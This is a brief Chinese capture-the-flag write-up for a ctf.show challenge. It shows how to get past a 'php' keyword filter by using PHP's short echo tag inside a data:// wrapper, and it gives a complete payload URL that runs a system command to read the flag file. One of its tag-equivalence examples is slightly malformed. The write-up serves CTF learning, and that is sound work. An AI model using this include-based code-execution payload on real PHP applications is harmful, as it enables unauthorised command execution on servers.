查看源代码发现对比上一题只是多了对php的过滤,对php的过滤影响到的是data协议rce时<?php语句的构造
不过<?php system(‘ls’);?>
是可以简写将php省略的 <?php system(‘ls’);>
等于 <?=system(‘ls’);?>
这是作者的一个小实验:
构造payload
http://f5d8e458-5d09-4ed5-aba4-98ddda953a5b.challenge.ctf.show:8080/?c=data:text/plain,<?=system('tac fla*');?>